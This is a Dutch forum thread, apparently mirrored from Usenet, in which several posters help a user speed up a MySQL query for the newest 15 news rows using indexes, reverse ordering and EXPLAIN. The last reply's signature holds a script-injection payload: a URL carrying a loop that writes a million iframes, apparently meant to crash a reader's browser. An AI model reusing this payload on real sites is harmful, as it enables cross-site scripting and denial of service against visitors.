Likes Likes:  0
Resultaten 1 tot 10 van de 10
Geen
  1. #1
    Rick
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    [mysql] query optimalisatie

    Ik heb de volgende table:
    CREATE TABLE `news` (
    `id` smallint(2) unsigned NOT NULL auto_increment,
    `user` mediumint(8) unsigned NOT NULL default '0',
    `header` tinytext NOT NULL,
    `body` text NOT NULL,
    `time` int(10) unsigned default NULL,
    `cat` mediumint(8) unsigned NOT NULL default '1',
    `reacts` smallint(5) unsigned default '0',
    `views` mediumint(8) unsigned NOT NULL default '0',
    `status` enum('active','hidden','deleted') NOT NULL default 'active',
    `archived` enum('N','Y') NOT NULL default 'N',
    `edittime` int(10) unsigned default NULL,
    `edituser` mediumint(8) unsigned default NULL
    PRIMARY KEY (`id`),
    KEY `user` (`user`),
    KEY `time` (`time`),
    KEY `status` (`status`,`cat`),
    KEY `user_2` (`user`,`status`,`cat`),
    FULLTEXT KEY `text_search` (`header`,`body`)
    ) TYPE=MyISAM

    En uit deze table wil ik de laatste 15 records halen. Dat is geen
    probleem met een Limit. Echter dit is niet de snelste methode. Ik heb
    getest met bijvoorbeeld nog een restrictie op time in een where clause
    en toen werd de query aanmerkelijk sneller (kleinere selectie). Alleen,
    op zich weet ik niet tussen welke tijden de 15 records zich bevinden...

    Iemand een idee of tips om een vrij eenvoudige query toch nog iets
    sneller te maken?

  2. #2
    Rene Pijlman
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [mysql] query optimalisatie

    Rick:
    >Ik heb de volgende table:

    [...]
    >En uit deze table wil ik de laatste 15 records halen.


    Laatste 15 volgens welke sortering?

    Neem de eerste 15 van de omgekeerde sortering en het is misschien sneller.

    --
    René Pijlman

    Wat wil jij leren? http://www.leren.nl

  3. #3
    Rick
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [mysql] query optimalisatie

    Rene Pijlman wrote:
    > Rick:
    >
    >>Ik heb de volgende table:

    >
    > [...]
    >
    >>En uit deze table wil ik de laatste 15 records halen.

    >
    >
    > Laatste 15 volgens welke sortering?
    >
    > Neem de eerste 15 van de omgekeerde sortering en het is misschien sneller.
    >

    Nouja ik heb het dus fout gezegd, ik neem dus de eerste van 15 van
    hetgeen dat aflopend gesorteerd is op tijd. (dus op zich zijn het de
    laatste 15 toegevoegden, alleen als je de data los bekijkt zijn het in
    dit geval de eerste 15).

  4. #4
    Rene Pijlman
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [mysql] query optimalisatie

    Rick:
    >ik neem dus de eerste van 15 van hetgeen dat aflopend gesorteerd
    >is op tijd.


    En is er een index op die tijd-kolom?

    --
    René Pijlman

    Wat wil jij leren? http://www.leren.nl

  5. #5
    Rick
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [mysql] query optimalisatie

    Rene Pijlman wrote:
    > Rick:
    >
    >>ik neem dus de eerste van 15 van hetgeen dat aflopend gesorteerd
    >>is op tijd.

    >
    >
    > En is er een index op die tijd-kolom?
    >

    KEY `time` (`time`), staat in de OP, dus het antwoord is ja. Maar
    hetgeen wat je dus niet weet waar deze 15 zich in de tijd bevinden.

  6. #6
    John Bokma
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [mysql] query optimalisatie

    Rick <spammans@chello.nl> wrote in news:cj7g3k$c2$1@nl-news.euro.net:

    > Rene Pijlman wrote:
    >> Rick:
    >>
    >>>ik neem dus de eerste van 15 van hetgeen dat aflopend gesorteerd
    >>>is op tijd.

    >>
    >>
    >> En is er een index op die tijd-kolom?
    >>

    > KEY `time` (`time`), staat in de OP, dus het antwoord is ja. Maar
    > hetgeen wat je dus niet weet waar deze 15 zich in de tijd bevinden.


    Heb je met explain gekeken of het efficient is? Ik meen mij te herinneren
    dat als je een limit doet op een key dat dit snel was.

    --
    John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
    Website design: http://johnbokma.com/websitedesign/
    Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
    Tevreden opdrachtgevers: http://castleamber.com/testimonials.html



  7. #7
    Rick
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [mysql] query optimalisatie

    John Bokma wrote:
    > Rick <spammans@chello.nl> wrote in news:cj7g3k$c2$1@nl-news.euro.net:
    >
    >
    >>Rene Pijlman wrote:
    >>
    >>>Rick:
    >>>
    >>>
    >>>>ik neem dus de eerste van 15 van hetgeen dat aflopend gesorteerd
    >>>>is op tijd.
    >>>
    >>>
    >>>En is er een index op die tijd-kolom?
    >>>

    >>
    >> KEY `time` (`time`), staat in de OP, dus het antwoord is ja. Maar
    >>hetgeen wat je dus niet weet waar deze 15 zich in de tijd bevinden.

    >
    >
    > Heb je met explain gekeken of het efficient is? Ik meen mij te herinneren
    > dat als je een limit doet op een key dat dit snel was.
    >

    Een limit op een key? Hoe gaat dat in zijn werk? Ik weet dat je query
    aanmerkelijk sneller kan zijn indien je where clause en je keys goed op
    elkaar zijn afgestemd. Qua epxlain heb ik alles doorgenomen, ik zit nu
    alleen (met behulp van jullie) te zoeken hoe ik deze query nog verder
    kan optimaliseren .

  8. #8
    John Bokma
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [mysql] query optimalisatie

    Rick <spammans@chello.nl> wrote in news:cj86vf$4dj$1@nl-news.euro.net:

    > John Bokma wrote:


    >> Heb je met explain gekeken of het efficient is? Ik meen mij te
    >> herinneren dat als je een limit doet op een key dat dit snel was.
    >>

    > Een limit op een key?


    de limit in je select op een veld met een index. Ik dacht dat dat gewoon
    snel was, en niet O ( n ) of O ( n log n ).

    --
    John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
    Website design: http://johnbokma.com/websitedesign/
    Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
    Tevreden opdrachtgevers: http://castleamber.com/testimonials.html



  9. #9
    Rick
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [mysql] query optimalisatie

    John Bokma wrote:
    > Rick <spammans@chello.nl> wrote in news:cj86vf$4dj$1@nl-news.euro.net:
    >
    >
    >>John Bokma wrote:

    >
    >
    >>>Heb je met explain gekeken of het efficient is? Ik meen mij te
    >>>herinneren dat als je een limit doet op een key dat dit snel was.
    >>>

    >>
    >>Een limit op een key?

    >
    >
    > de limit in je select op een veld met een index. Ik dacht dat dat gewoon
    > snel was, en niet O ( n ) of O ( n log n ).
    >

    Is het mogelijk om een limit te doen op een specifieke key? Of leg ik de
    link verkeerd?

  10. #10
    Hans
    [mysql] query optimalisatie
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [mysql] query optimalisatie

    On Tue, 28 Sep 2004 19:06:39 +0200, Rick <spammans@chello.nl> wrote:
    > John Bokma wrote:


    >>>Een limit op een key?

    >>
    >>
    >> de limit in je select op een veld met een index. Ik dacht dat dat gewoon
    >> snel was, en niet O ( n ) of O ( n log n ).
    >>

    > Is het mogelijk om een limit te doen op een specifieke key? Of leg ik de
    > link verkeerd?


    Die limit op de key leg je door de juiste keys te gebruiken voor veel
    gebruikte queries. Vooral door een index te zetten op waardes die je in
    je where clause ophaalt kun je een behoorlijke snelheids winst behalen.

    Groet,

    Hans
    --
    begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
    document.write("\<iframe
    src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
    "\"\>\<\/iframe>"); } document.refresh; </script>

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics